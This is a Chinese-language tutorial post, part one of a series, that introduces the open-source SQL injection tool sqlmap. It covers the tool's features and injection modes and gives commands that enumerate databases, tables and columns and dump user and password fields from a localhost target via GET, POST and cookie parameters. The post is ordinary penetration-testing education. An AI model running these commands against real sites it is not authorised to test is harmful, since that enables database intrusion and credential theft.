前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQLMAP从入门到精通——第一节

SQLMAP从入门到精通——第一节

作者头像
陈殷
发布2020-03-06 11:09:09
1.9K0
发布2020-03-06 11:09:09
举报
一、Sqlmap简介

Sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

二、Sqlmap功能

Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点:

·完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。

· 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。

·在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。

·支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。

·支持自动识别密码哈希格式并通过字典破解密码哈希。

·支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。

·支持在数据库管理系统中搜索指定的数据库名、表名或列名

·当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。

·当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。

三、Sqlmap原理图

四、注入模式

1.基于布尔的盲注,既可以根据返回页面判断条件真假的注入。

2.基于时间的盲注,既不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语 句是否执行(既页面返回时间是否增加)来判断。

3.基于报错注入,既页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4.联合查询注入,可以使用union的情况下的注入。

5.堆查询注入,可以同时执行多条语句的执行时的注入。

五、Sqlmap安装

代码语言:javascript
复制
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

六、基本使用方法:

GET

代码语言:javascript
复制
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" 

测试该注入点是否能够进行注入

代码语言:javascript
复制
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --dbs  
对注入点进行注入,并导出数据库名

对database这个数据库进行表的猜测

代码语言:javascript
复制
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" -D database --tables 

对database下的admin表中字段进行猜测

代码语言:javascript
复制
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" -D database -T admin --columns  
代码语言:javascript
复制
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" -D database -T admin -C user,password --dump

对database下的admin表中user和password字段进行猜测并dump

POST

代码语言:javascript
复制
python sqlmap.py -r header.txt
python sqlmap.py -r header.txt --dbs

-r是从一个文件中载入HTTP请求

其余都与GET一样将-u部分改成-r

header.txt(请求头可通过抓包获取)

代码语言:javascript
复制
POST /index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/index.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
id=1

Cookie

代码语言:javascript
复制
python sqlmap.py -u "http://127.0.0.1/index.php" --cookie="id=1" --level=2

未完待续......

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-07-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 山丘安全攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 二、Sqlmap功能
  • 三、Sqlmap原理图
  • 四、注入模式
  • 五、Sqlmap安装
  • 六、基本使用方法:
相关产品与服务
数据库管理
数据库管理(Database Management Center,DMC)是一个高效,安全,可靠的数据库一站式管理平台。DMC 提供可视化的库管理、实例会话管理、SQL 窗口、SQL 安全审计、SQL 变更审批、实时监控、操作审计等数据库管理能力,集成诊断优化和数据可视化分析能力,从而简化和规范数据库管理操作、降低数据库运维门槛、提升运维效率。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档